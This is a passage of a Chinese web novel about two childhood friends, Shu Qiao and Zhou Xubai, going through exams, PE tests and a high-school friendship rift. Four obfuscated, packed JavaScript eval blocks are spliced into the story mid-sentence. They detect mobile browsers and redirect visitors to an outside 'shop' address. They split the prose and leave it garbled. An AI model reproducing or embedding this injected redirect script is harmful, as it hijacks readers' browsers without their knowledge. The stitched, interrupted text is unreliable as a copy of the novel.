他沉寂在自己的世界里,垂着头,像一只被人抛弃的大狗狗。 直到舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126636|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔的声音响起,她叫他的名字,周叙白,问他:“是我喜欢吃的那家包子吗?” 他迅速抬头,有些惊讶地看她,这一刻的舒乔,浑身像亮着光一样,那光的颜色,像太阳的颜色,让人一看,就觉得温暖。 “你好了?”周叙白不太确定地问。 舒乔张开双手:“抱一下。” 周叙白走上去拥抱住舒乔,只听她说:“周叙白。我好像度过瓶颈期了,这一次,我会超越你的。” “好。我等着。”他笑了起来,如同冬日的雪化了,春天来临。 没有第四次月考让舒乔证明自己,期末到来,老师、学生都陷入了紧张的复习中。 为了提高学生的学习激情,班主任站在讲台上宣布,考进班级前十的同学会有奖励,并特别强调,一等奖是昂贵的派克钢笔,而且是两支。 同学们为奖品发出了惊呼声,舒乔却置身事外,默默地写着数学题。 直到周叙白扔了一张纸条给她,上写—— “舒乔乔,我想要那个派克钢笔,你赢来,送给我。” 舒乔无声地说了一个“我”字,并指了指自己,“你觉得我能行吗?” 周叙白在纸条上写道:“不管你行不行。反正你说过要超越我。难道,这就认输了?” 认输? 不可能! 舒乔我比握笔写下三个字—— “你等着。” 接下来的舒乔可以用“废寝忘食”来形容,走路在看书,吃饭在看书,就连上厕所也要带一本书去。 和她交好的女同学都忍不住说她疯了。 舒乔很平静地讲:“不疯魔,不成活!” 很快,期末来临。教室在头一天晚上布置成考场,一片混乱里,周叙白问她:“有信心吗?” “当然有!” “舒乔乔,相信你哦!” “谢谢你的信任。绝不让你失望!” 果真,舒乔没有让他失望! 成绩出来那一天,舒乔的名字排在名单的第一个,周叙白在她后面。 班主任笑得合不拢嘴,夸道:“我就知道你是聪明孩子,稍稍努力就能做到!你看看这分数,多好看呀!老师告诉你,保持这个成绩,上重高绝对没问题!没准还能保送。” 舒乔羞涩地点点头,说了一句谢谢老师。 班主任放下成绩单,把一等奖奖品拿给舒乔:“好好珍惜哈!老师自掏腰包买的,是真挺贵的,我自己都舍不得用。” “老师放心,我会的。” 结果,舒乔扭头就送给了周叙白。 是以,当班主任见到周叙白用这支钢笔时,脸上写满了不可置信。 他沉着脸走到周叙白桌边,敲了敲桌子:“是不是趁人不在偷偷拿来用呀?” “不是,”周叙白拿起钢笔把玩,炫耀一般道,“老师,我小青梅特地送我的。” 班主任差点喷了一口老血。 当然,这是后话。 重点在舒乔送给周叙白钢笔那天,红霞满天,久违的阳光拉长了他们的身影。 她走前头,他跟着她。 突然,她转身,脸上洋溢着灿烂的笑容,朝他伸出去,钢笔就在掌心。 “呐,你要的,我赢回来了。” 周叙白接过,问她:“另一支呢?” “送妈妈了,”舒乔说,“谢谢你们在这一学期为我做的努力。” 周叙白把钢笔放到羽绒服口袋里,向她张开双手,“舒乔乔,要抱抱吗?” 舒乔扑了上去,轻轻地说:“要的。周叙白!” 一刹那,周叙白想到了一句话—— “为你戴上冠冕。” 舒乔乔送的钢笔,就是她亲手为他戴上的冠冕。 8. 我们努力奔跑 过完初二的暑假,初三悄然来临。最初舒乔还没有感受到中考的压力,直到两天一次测验来临,各科卷子一张接一张发下来,同学们对高中的谈论,舒乔意识到,初三真的不一样了。 她不能像从前一样偶尔在不喜欢的课上偷偷看一眼漫画书,也不能在累的时候放任自己思绪翻滚,天马行空的幻想地球是一条沉睡的巨龙,妖怪会在下一秒揭开数学老师的假发,露出光滑的“地中海”。 成堆的卷子让她感到疲倦,无数次问自己,为什么学生一定要通过考试才能有学上?为什么数学会那么晦涩难懂?为什么物理那么的让人绞尽脑汁。 她缓缓地趴在桌上,双手枕头,像散尽修为的宗门长老。 “舒乔乔,我们去跑跑步?”周叙白尽可能地疏解她的焦躁。 她一向不是什么抗压能力很好的人。 他怕初二事复燃。 舒乔面无表情地摇摇头,而后偏头看向他,眼里露出了艳羡:“我要是能拥有你的情绪就好了。” 在舒乔眼里,周叙白强大、稳定,仿佛天崩了,他也临危不惧。 “这还不简单。把手摊开。” “要干嘛?” “摊开就知道了。” 舒乔直起身子,朝他摊开一只手。 周叙白将一颗大白兔奶糖放在她的掌心,神叨叨说:“这个颗糖,是吸收过我的智商、我的情绪的糖。现在我将它给你,只要你吃下,就会自动拥有我的一切。” 舒乔噗嗤一声,笑了出来,道了他一句神人后,剥开糖纸,咬下奶糖,却配合着他讲:“现在这颗糖已经进入了我的肚子里了。我确信周叙白说的是真的,我将拥有他的一切。” 将一切收进眼里的后桌这时言:“难怪你们能当青梅竹马?这神一块去了。” 舒乔给了他一个眼神,“你不懂。” 时间慢慢走,距离体育中考还有八天。 考三项,五十分满分。跳绳满分线一百八。这个舒乔已经get,但跳远和铅球,前者要跳到一米七三,后者要扔到一米六五。 这才是她担心的源头,她真的在运动上没有天赋。 即使经过一日又一日的训练,跳远和铅球还是舒乔的难点,她总是要差一点,差一点点。 “舒乔乔,人生不必过于圆满。我看四十九分也不错。” 四十九分是不错,可终究不是满分。 她说:“如果我就差那一分呢?就差那一分,上不了琼高。” 琼高,全称琼枝第一高中,是实打实的重点高中,教育部直属。琼枝人都说,考上琼高,再差也能上个省重点大学。 “舒乔……琼枝不止琼高一所高中。还有其他的,教学质量也很好。” “可你在琼高呀!”舒乔看向周叙白,“我想和你上同一所高中。” 她已经习惯了周叙白的陪伴,不想和他分开。 周叙白不说话。 只是在一周后告诉她,“舒乔乔,我不会签保送合同的。” “你……你说什么?”舒乔一脸震惊地看着他,“你……你……你疯了吧!保送琼高,你居然放弃了?” 他说的每个字单拆开她都懂,可组合在一起,却又难以理解。 为什么? 周叙白说:“想考个状元玩玩,保送多没意思呀。” 他嘴上这样讲,但私心里,他想陪舒乔进考场。即使他们不在一个教室考试。他也想陪她。 “阿姨知道吗?”舒乔问。 “知道。爸爸妈妈都知道,他们尊重我的决定。” 舒乔抿着嘴,很沉默,良久说:“周叙白,再陪我练练跳远和铅球吧。” “好。” 红绿相间的跑道上,舒乔一次又一次抬手,弯腰,用尽全力,将手上的铅球掷出。 “一米六四,还差一点,”周叙白报出她的成绩,然后指出她动作上的错误,“腰再晚一点,手再打直一点。想象自己是一个安了弹簧的投掷器。” 这是个什么比喻? 尽管说法很玄幻,但舒乔还是听从他的意思想象自己是个投掷器,很快,手上的球又被掷出,稳稳当当落在了及格线上。 周叙白激动地快跳起来,舒乔有一点蒙,她看了看自己的双手,真做到了? 真的! 有些时候,人开窍就在一瞬间。没有什么惊天动地的预兆,只有一次又一次努力地叠加。 接下来是跳远。 这于舒乔而言才是真正的磨难。她无法很好的地控制住自己的身体,所以每一次起跳都达不到预期,她只能练习,不断的练习,但直到体考来临那天,也没听见周叙白说,她的跳远达到了及格线。 难道,真的只有四十九分吗? 这是命定的结局? 舒乔不信命,考场上是她最后的挣扎。 那一天她站在起跳线上,看向站在及格线旁的周叙白,他的声音在耳边回响—— “舒乔乔,深呼吸。做起跳运动,对对,跳,收膝。” 周遭安静了下来,风也停止了,心脏噗通噗通,她像一只躲过狂风暴雨的鸟儿,落在了岸边,却因心悸而不敢睁眼。 忽然,一声吼叫打破了沉默,周叙白抱住了她,“舒乔乔,一米七三,是一米七三。满分!满分!” “我——”舒乔的眼泪那刻落下,“我真的做到了。” 你有为什么拼过命吗? 舒乔有!中考体育,对一个不爱运动的小女孩来说,几乎要了半条命。 但最终,她做到了。 以满分的答案,为体育画上了句号! 并真挚地祝愿自己,下一次拼命,是大学的八百米。 体育考完之后,是没有休止的文化课。 连向来稳操胜券的周叙白也认真起来,他要考一个好成绩,才能向下兼容。 还是那句话,周叙白永远跟舒乔走。 又一节数学测验结束,舒乔惊奇地发现窗边的栀子花开了,散发出一阵淡淡的清香。 她转头看黑板上写得几个大字—— 距离中考还有“十五天”。 “明天是不是要拍毕业照了?” “嗯。”周叙白点头,“还会像小学一样难过吗?” “会!每一场离别都很难过。但离别,是为了更好的重逢。” 她学会了疏解自己的情绪。 她又长大了一点了。 第二天下午,暖阳高照,风过林梢。 周叙白站在舒乔背后,直面镜头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126637|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当摄影老师喊下准备时,舒乔往头上别了一枚草莓发夹。那是拍六年级毕业照时,周叙白送的。 少年看到了这个,所以在照片定格的那刻,他笑的格外灿烂。 距离中考还有三天时间。学校已经不再让学生们天天看书了,而是强迫他们到操场散步,放松自己。 舒乔和周叙白去小卖部买了一瓶饮料,走在宽阔的跑道上,谈起了高中。 “你说会是怎样的?” 周叙白说:“会更累。但更青春。” 青春? 青春是什么样,舒乔无法用具体的语言描述。 她只知道,青春是“疯狂”的。 所以那一天舒乔握住周叙白的手腕,石破惊天地说了一句:“我们去电玩城。” “好。” 两个小少年在操场上奔跑起来,炽热如八月最烈的太阳。 疯狂后是老师举报电话,小少年们在妈妈们的监督中,写下了人生里第一份检讨书。 班主任没好气道:“也是中考了,学校心善,放你们一马。不然非得挨处分不可。” 舒乔抿唇,周叙白道:“谢谢老师。” “回教室去吧。” 班主任瞧着他们离去,一男一女的身影逐渐变大,最终变成了穿西服的男人与穿婚纱的女人。 他受周叙白的邀请在婚礼当天致辞,以一个老师的视角讲诉他们去电玩城的事,最后道了一句—— “青春真好。” 时间飞速,中考如约而至。 舒乔妈妈和周妈妈都穿上旗袍为他们送考,温柔地告诉他们:“成绩不是唯一。不必过于较真,努力过就好。” “知道了,妈妈。”两人异口同声,带着一点缘分妙不可言的味道。 八点半,考场大门打开,他们相伴,踏上高高的阶梯,在楼道向南向北。 两天,考试结束。 彼时夕阳西下,他们同时踏出考场,扑向了人流。 六月二十六号,成绩公布,舒乔以六百九十九分的成绩,被琼高录取。而周叙白这小子,还真拿了个中考状元。 班主任笑得合不拢嘴,一个劲儿地说:“这孩子,我看他的第一眼就觉得他聪明。” 消息传回锣锣巷,周妈妈成了巷子里最受欢迎的人物,走到哪里都有人问她是怎么培养孩子的? 这是个好问题? 无奈的是周妈妈讲不出育儿经,因为周叙白这孩子是真聪明,学习上她从来没操过心。 不过,周妈妈还是像模像样的讲了一些东西,邻居们一副受教了的样子。 领到通知书那天,舒乔和周叙白走在小巷子里,她一直在笑,甜的像蜂蜜。 “如果是大学的通知书,舒乔乔,你是不是笑的更灿烂。”周叙白问。 “不是这个。” “嗯?” “不是因为通知书?” “那是?” “我们终于可以一起上高中了。” “这……确实是一脸值得高兴的事。”周叙白也扬起了笑容。 舒乔没告诉他的是,她一直知道他拒绝保送是想陪她上考场。 所以,她拾起了快要放弃的体育。 他们都在为彼此努力奔跑。 9. 当红人物 度过一个漫长的暑假,舒乔和周叙白正式成为高中生,踏进琼高的大门。 琼高按中考成绩分班。舒乔和周叙白分到了不同的班级。前者实验班,后者重点班。结束了十二年的同桌生涯。 在楼梯分别时,舒乔是淡定的那个,周叙白是不淡定的那个。 “你就没有一点点舍不得我吗?”周叙白蹙着眉问,心情很不美丽。 “当然有。但是,”舒乔嘿嘿一笑,“和你当了这么久的同桌,都没新鲜感了,我想有新的同桌。” “舒乔乔,”周叙白气得呼吸加重,“你知道你像什么吗?” “像什么?” “像渣女!” “那你还像渣男呢!抛弃我奔赴更好的前程!” “这不是我选的,”周叙白说,“我还想和你当同桌。” 他的话,掷地有声。 舒乔看向他,“周叙白……我们做了这么久的同桌,你真的不腻吗?不觉得我烦吗?” 细细想来,这许多年同桌,周叙白总是吃亏的那个。 “我为什么会这样觉得?”周叙白反问。舒乔永远不会懂他的甘之如饴。 舒乔不自觉垂下头,周叙白也没说话。 九月的阳光,将他们的影子拉向一个方向,好似重叠在了一起。 “我送你去班上。” “我努力考进重点班。” 两道声音几乎同时响起,音落后,相视一笑。 高一一共十八个班,舒乔在高一三班,周叙白在高一一班。 两个班级虽然只隔了一个数,但所在楼层截然不同。舒乔在四楼,周叙白在五楼。 舒乔不理解为什么要这样分布班级。她的新同桌告诉她,学霸永远站在顶尖。 仅仅是一瞬间,舒乔就get到了这个点。 舒乔的新同桌是一个短发女孩子,山根上有一颗性感的小痣,瓜子脸,姓刘,舒乔叫她刘刘。 刘刘是班上的“包打听”,年级上发生的任何事她都知道。 舒乔和她做同桌的第三天,就从她的嘴里听到了周叙白。 那是大课间,舒乔正埋头写作业,刘刘拉了拉她的衣袖,神秘秘和她说:“知道高一一班的周叙白吗?” 舒乔还没说话,后桌的女同学张张就激动道:“我知道。上次去语文老师办公室,正好看见他拿卷子。好帅的一张脸。” “不光脸帅,打篮球也帅!”刘刘像是找到了知己,也很激动讲,“最最关键是,家里还是做生意的,贼有钱。” 舒乔这时搭话:“你怎么知道?” 刘刘说:“我小学同学和周叙白一个初中,他告诉我的。” “他还给你说了什么!”张张特别好奇。 “周叙白家住在西岸锣锣巷,人贼聪明,还有个从小一起长大的青梅竹马!” 听到这儿,舒乔一口气没顺过来,咳嗽起来。 无论如何也没想到,有一天她也会成为话题的中心。 刘刘拿过她的保温杯拧开给她,舒乔说了一声谢谢,接过喝了一大口,顺了过来。 张张这时说:“好言情小说的配置!” 她双手撑头,露出星星眼。 “他小青梅也在我们学校。”刘刘说。 “叫什么名字,好不好看?”张张问。 刘刘摇头:“不知道。应该好看吧。” “有这样一个帅竹马很幸福吧,光看着脸就好下饭。” 嗯,幸福是挺幸福的。脸下饭嘛?从小看到大,没什么感觉了。 舒乔想。 “找你小学同学打听打听呗。”张张说。 “行,周末见面的时候我问问。” “好好好。” 只是,还没等到周末,周叙白的小青梅就水落石出了。 那是下午第一节课下课,舒乔正趴在桌上补觉,坐在门边的男生突然喊道:“舒乔,周叙白找你。” 吵吵嚷嚷地教室一下子安静了下来,班上大部分人都看向她,刘刘更是瞪大了眼睛,一脸诧异。 张张的声音从身后传来,“你不会是……周叙白的小青梅吧。” “嗯——”舒乔说,“应该是吧。” 舒乔在众人的注视下去到走廊,周叙白把一盒曲奇饼递给她,“才烤出来的,还好我这节课上体育课,不然还抢不到。” 学校的现烤曲奇饼一直是抢手货,开学快半个月了,舒乔只买到过一次。 “呜呜!周叙白,你真好!”要不是琼高禁止男女有过亲行为,舒乔高低得抱他一下。 周叙白被她的样子逗笑,又从校服口袋里拿出几颗大白兔奶糖给她:“中午吃饭的时候忘记给你了,正好你晚上吃,补充糖分。” “好。” 周叙白送完东西就回到五楼了,舒乔一进教室就被前后左右的同学团团围住。 张张率先开口:“坦白从宽,抗拒从严。你所说的每一句话都将成为呈堂证供。” 经典的TVB台词。 “好吧,”舒乔举起手,“我就是传说中的青梅!当然,有周叙白这个竹马幸福含量贼高。想吃的想喝的想玩的只要他能办到,都能实现。就连零花钱嘛,也给花!” “啊——”张张捂住小心脏说,“我许愿大学以后找一个这样的男朋友。” 那是舒乔十八年里的人生里第一次听见这个词汇心颤了一下,很轻很轻,但又有不可忽视的力量。 她的男朋友会是什么样的呢? 她仔细想了一下,最后浮现出周叙白的模样,白皙的脸蛋霎时红了。 那天后,舒乔开始有意无意躲着周叙白,因为他太红了,特别是第一次月考后。 高一没分班,学九科,共计一千零五十分。周叙白考了九百八十六,其中数学满分,物理满分,化学满分,生物九十九。 全年级一片哗然,都在膜拜大佬。 舒乔的班主任更在班上说:“你们要向人家一班的周叙白学习,别成天想着玩,心思还是要放在课堂上、作业上。” 班里的一个刺头男生接话道:“老师,人周叙白一天也在玩呀。一到大课间,准点到篮球场报道。” 老班说:“人家那不是玩。那是劳逸结合。” “我们死读书也赶不上人家呀!他是纯聪明,基因里带的。” 班主任气得吹胡子瞪眼,严肃叫道:“你给我出来。” 最后,刺头男生喜提抄书二十遍。 他也不生气,乐呵呵地抄,边抄边讲:“就当背书了呗。” 完美诠释了阿Q精神。 周叙白的爆红也带着舒乔红了一把,去到哪里都有人在旁边议论:“这就是和周叙白一起长大的女孩吧。真好看,就是成绩差了点。才考了八百多。” 八百多的成绩在九百多分面前完全不够看。 但舒乔觉着自己考挺好。 不过,她不愿意被镶上周叙白小青梅的标签。 她就是她自己,不是任何人的附属。 所以每每听到这种言论时,她总会回一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126638|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有名字,叫舒乔。下次请称呼我的名字。” 周叙白察觉到了舒乔的疏离,具体表现在她中午不再和他一起吃饭,放学也总找借口先行一步。 为什么会变成这样? 难道十几年的友谊,只因为不在同一个班级了,就变得冷漠了吗? 周叙白不喜欢这样! 舒乔也不喜欢这样! 终于,一个周末,两个人聚在了一起。 “我——”几乎是异口同声。 舒乔喝了一口奶茶,同他讲:“你先说。”。 周叙白看了眼她的脸色,小心问道:“我是不是哪里做得不好,惹你生气了?” “没有。” “那为什么躲着我?” 舒乔说:“你太红了。周叙白,你真的太红了。” “嗯?”周叙白不太理解。 舒乔解释:“你的光环太大。显得我过于平庸。我接受我的平庸,但不接受失去名字。周叙白,你知道吗?她们总称呼我为你的小青梅,而不是叫我的名字。” 做为一个独立健全人格的人,舒乔认为,名字很重要。 周叙白有点手足无措,成为一个全校皆知的知名人物不是他想的。 可她的困扰又与他有关。 十八岁的周叙白产生了迷茫,他不知道该怎么做。 舒乔也不知道。 他们不欢而散。 又一周过去,妈妈察觉到了舒乔的不对劲儿,邀她到客厅里谈心。 舒乔说出了自己的心事。 妈妈听后讲:“失去名字的确是一件不舒服的事。但乔乔,这件事小白也没错。你不应该把自己的情绪加在他身上。” “可是……是他……” “乔乔,全校闻名是因为小白优秀。如果有一天优秀能成为一个被怪罪的理由。那么我想我对你的教育出现了问题。”妈妈说。 又补充道:“乔乔,是自卑吗?” 被光环笼罩!平庸的人自卑。 舒乔摇头:“妈妈,我没自卑。相反,我为他高兴。在这件事上,我真的只想拥有自己的名字。” “可是,这世界上有那么多人,不会每个都记住你的名字的。” 刹那间,舒乔醍醐灌顶。 是啊!她又不是人人都喜爱的钱,怎么会所有人都记住她的名字。 周叙白的小青梅。 这个称呼也没错。 她就是周叙白的小青梅,他们一起长大,十几年的友谊,他们比谁都好。 可这一次,为了一件很小的事情,疏离、隔阂。是一件极不划算的买卖! 这一刻,舒乔很想见周叙白。 她站起身,打开门跑了出去,边跑边说:“妈妈,我晚点回来。” 锣锣巷的老槐树,快百年的历史,见过来来往往的人,晓得这条巷子里发生的所有故事。 就在这树下,两个人都急切地讲:“对不起。” 异口同声的道歉,同时扬起的笑容,困扰在心头的事随风散去。他们和好如初。 很多年后,周叙白提起这件事,情绪仍旧低落:“我那时真怕我们渐行渐远。舒乔乔,你知道吗?我无法忍受你的冷漠疏离,我喜欢你的笑,喜欢黏着你。” “对不起,”舒乔张开双手抱住他,“周叙白,这么多年还是要对你讲对不起。” 或许是少年气盛,把名字看得比什么都重要。但回首往事,与周叙白相提并论,并不是一件很难堪的事。因为,这表示,她也很优秀。 10. 要命的函数 高中的数学是没有天赋的人难以翻越的一座大山。而函数,就是山顶,许多人努力一辈子也没法登顶。 舒乔学不来函数。幂函数、指数函数、对数函数……单看一个,舒乔还能明白,可将他们组合在一起变成综合题型时,她真就一个也搞不懂了,甚至还有点混乱,怎么X就等于这个值了,怎么一串没规律的字母变来变去就变成数字了? 真神奇呀!像霍尔格茨的魔法。 要是她真的会魔法就好了。 又一日临堂测验结束,数学老师当场批改,卷子发下来时,舒乔看着满篇的红色字迹,羞愧地捂脸。 一共十三道题,她错了七道,剩下五道还是半对。真离谱呀。 同桌刘刘同样捂脸,还吐槽:“这函数,真不是人学的。” 舒乔把自己的卷子给她看:“难兄难弟!” “不,”刘刘指着她卷子某一处,“这个我全对,我比你厉害一点。哈哈哈。” “切。”舒乔翻了个白眼! 这时,正写字的数学老师停了下来,用尺子敲了敲黑板,阴阳怪气道:“有些同学啊,满篇都是错的,这讲卷子的时候又不认真听,下课了又要跑来问,这就是假努力哈。” 刘刘垂下头,捂住嘴,用舒乔能听见的声音问:“他是在说我们吗?” “应该不是吧,咱们不光上课听不懂,下课问了他还是不懂。” “有道理。总得来说,无论怎么滴,都是不懂。” 她说话太搞笑了,舒乔憋笑憋的很辛苦。 难熬的数学课结束,舒乔和刘刘昏昏欲睡,正要趴下时,数学老师说:“月考范围出来了。重点考函数,占比百分之八十。函数差的同学自己要多复习。并且,这一次月考分数,会计入重点班分班考核中。占比百分之三十。下学期想去重点班的同学更要努力了。” 刘刘重重地叹了口气,“还重点班,咱能留在原班都艰难。” 琼高每一学期都会按照成绩重新分班,所以每个人都有机会进入重点班,当然重点班的人也会退到普通班。残酷的分班机制,充分演绎着达尔文的“生存法则”。又如养蛊一般,杀到最后的就是蛊王。 舒乔的心情从数学课后再也好不起来。 初中理科她刷题还能补一补,但高中理科和初中完全不是一个档次,有些时候她连题目也读不懂,更别说提笔解题了。 这天杀的高中究竟该怎么办,难道真连大学都没得读。舒乔情不自禁地忧心自己的未来。 可怜见得。这才高一开始,她还是新生呢! 九点半,晚自习下课。 避免拥堵,重点班会比其他班早放学十分钟,所以周叙白在学校门口等她,见她出来,自然而然地接过她的书包,并把手中的烤年糕给她。 舒乔一边吃、一边抱怨,“周叙白,函数快要我的命了。你给我的数学笔记我也看不懂。你说,一串符号怎么就能算出数字来?太逆天了。” 像变魔术,就眨眼的功夫!欸,不一样了。 “哪里不懂,我给你讲。”周叙白握住她的手腕,避过车流。 舒乔咬了一口年糕,“回去再说。别破坏我现在的心情。” “嗯。” 舒乔啃完年糕开始和周叙白讲话,谈话内容包括老师的外号,讨厌的同学,以及学校的饭菜又变难吃了。 她重点说了三食堂二窗口。 “这一家卫生差到离谱,每次都有同学吃到头发丝。举报也不管用。刘刘说,这家是校长亲戚承包的。” “你吃到过吗?”周叙白问。 “肯定呀。去晚了其他窗口人很多,为了赶时间只能吃他们家。好几次都吃到头发。” 周叙白正要说话,舒乔又换了话题:“我们班有个男孩子太讨厌了,今天我上厕的时候听见他说女孩子坏话。仅仅是因为他给那个女孩子写表白被拒绝了,面子上过意不去,就开始贬低女孩子。” “你偷偷告老师了?” “嗯,”舒乔嘿嘿一笑,“我们班主任最维护女生了。她今天把那男孩子叫去骂了一顿,还请了家长来学校。” “舒乔乔,这件事你做的很对。但要警惕人性的复杂。” “你是怕他报复我吗?” “嗯——”他的话里有这个意思,但也不完全是这个意思,该怎样和她说呢? 他还没组织好语言,舒乔就说:“那你知道我为什么敢告状吗?” “为什么?” “因为我的小竹马是周叙白呀,而他很厉害,”舒乔转身,朝他眨巴眨巴眼,“你会保护我吗?周叙白。” 那一刻,一米八的少年呼吸一滞,耳尖瞬间通红,良久才说:“会的。永远保护你。” 锣锣巷的老年活动中心,周叙白按开灯,舒乔从书包里掏出笔记本,把自己不懂的指给周叙白看。 他只瞥了一眼,就拿着笔在草稿本上写写画画,用最通俗易懂的语言讲给她听。 但舒乔脑子转不过来,听得云里雾里、似懂非懂,周叙白又重头开始讲。不过是一个最基础的函数定义域,就来来回回折腾了好几遍。 又一遍结束,周叙白问:“我讲明白了吗?” “你一直都讲得挺明白的,不明白的是我,”舒乔搓了搓脸,看向他,“周叙白,是谁发明的函数,我要穿越回去杀掉他。” “从科学的角度讲,学会函数的概率比杀掉创始人的概率大。” “唉——”舒乔叹了口气,“要是我一直都学不会。岂不是完了。” “不会。高考数学的基础题挺多的,你重点攻克中等题。至于函数,你只写第一小问就行了。” “哦!”舒乔突然想到一个问题,“周叙白,文理分科,你学理科吗?” 周叙白不答反问:“你呢?选文还是选理?” 舒乔想了想说:“物理很晦涩,化学很有趣,生物很神秘。但我天生没有学习它们的天赋。文科,是我最好的归宿。” “而且,别小看文科。也很难的好吧。” 舒乔一想到地理,又是一阵叹息,“什么季风洋流,什么高气压、低气压、什么算时间……也不是人学的呀!” 周叙白好笑地问:“那和数学相比,谁更难?” “数学,必须是数学,”舒乔握紧了拳头,苦大仇深,“我与它不共戴天。” “可是,说不定那一天你会对数学突然开窍?”周叙白假设。 舒乔否定了这个假设。 她说:“数学是最公平的,绝不会骗人,没天赋就是没天赋,不会有突然开窍的那天。并且,不是人人都像你一样。上课睡觉也能拿满分。” “谁说我上课睡觉了?” “刘刘。” 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126639|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘告诉她,周叙白上课睡觉,而老师提醒他的同桌,让他做事小声点,别打扰他休息。 离谱吧! 但这就是学神的优待呀! 舒乔有些抓狂了! 周叙白问:“她怎么什么都知道呀。” “她是全年级出了名的包打听。每个班都有她认识的人,掌握一手八卦。” 做人能做到这地步,忒有实力了,周叙白夸道:“以后做娱乐记者吧!太有天赋了。” “哈哈,我会把你的认可转达给她。她肯定很开心。” “你呀!”周叙白摸了摸她的头,“今晚就到这里了。回去睡觉了,我可不想又迟到。” “那是一个意外!” 昨天早上,舒乔的闹钟没响,迟到十分钟,洗提抄书十遍,当然,她扔给了周叙白,他会模仿她的笔记。 她像猫猫一样傲娇的小表情让他忍不住笑,“好好好,意外。走吧,舒乔乔,送你回家。” 月考如约而至,考语文的时候舒乔笑着出来,到了数学,她面无表情。 刘刘更是从考完就吐槽,“那个选择题,我每个选项都算出来了……那个填空题,我真的一个也写不起。还有第十七题,不是说第一个大题是送分题吗?为什么我连题干都看不懂。舒乔,完了,真完了,下学期我肯定不能和你在一个班了,我舍不得你呀!” “你是舍不得我这个人,还是舍不得我的零食呀?”舒乔毫不客气拆穿她。 刘刘嘿嘿一笑:“都舍不得。” 考完第三天,成绩公布,奇迹般的,舒乔和刘刘数学都及格了。她两将这事儿归为运气,后桌张张摊开她的卷子道:“考完那天一个二个都说完了。好嘛,成绩出来后,分数都这么高!只有我一个人是真完了。六十八分,我妈知道了肯定会说,踩一脚都比我自己考的高。” “别伤心。”刘刘安慰她。 舒乔也说。 张张有气无力地趴在桌上,“我也曾是天之骄子呀。初中的时候数学从来没有低于一百三过。怎么到了高中就不一样了呢!” 如果一个人一直平庸,那么她就能很好地接受平庸。可一个人,如果曾经辉煌过,那她又怎能接受平庸呢? 一段话让三个人都陷入了沉默。 一阵后,舒乔说:“其实,平庸的自己也没什么不好。我们从来不是天赋选手,接受平庸,才能努力。” “像一碗深夜毒鸡汤,但我喝下了。一起努力吧,期末,咱们肯定能惊艳全场。” 刘刘突然的激动扫除了低沉的氛围,三个女孩子把手放一块,信心满满道:“加油!” 剩下的一个月,她们像打了鸡血一样刷题,虽然函数依旧难懂,可她们努力客服。 期末考试前一天,周叙白给三个女孩子当老师,把函数从头到尾拉了一遍,并画了一些重点题目,让她们务必搞懂。 刘刘和张张很感谢,买了小零食给舒乔。 舒乔一脸茫然地看着他们,“周叙白出的力。该给他才对。” 刘刘解释:“你和周叙白不分彼此。感谢你和感谢他是一样的。” 张张点头,表示认同。 十年后,舒乔和周叙白结婚,刘刘当伴娘,提起这件事,很是骄傲道:“我当年说得对吧,你和周叙白不分彼此。” 可十年前的舒乔那哪知道十年后的事。 11. 一只拦路虎 高一下期,既分重点班,又分文理班。 舒乔凭借优秀的文科成绩分到了唯一的文科重点班,刘刘还是她的同桌。而张张呢,选了理科。理由是,理科好找工作,文科就业艰难。 这是一个很现实的原因,但舒乔更佩服她孤注一掷的勇气。 她用尽所有力气,去学习那些云里雾里的定义,晦涩难懂的公式。像一个独行者,要打破女孩子学不好理科的偏见。 光阴在一瞬间变幻,文科班的日子一天一天过去,转眼就到了三月,春季运动会即将开始,体育委员开始求爷爷告奶奶摇人。 体育委员姓徐,徐文凌,但同学们都叫他“大壮”,因为与班上一群文弱书生相比,他实在长得太结实了。 舒乔去走廊上接了水回来,就见大壮正苦苦哀求刘刘报名三级跳。 刘刘摇头:“不行,我真不行。去年秋季,我也是这个,连坑都没跳进,为我加油的班主任捂着脸走,生怕让别人知道他是我老师。” “那铅球?” 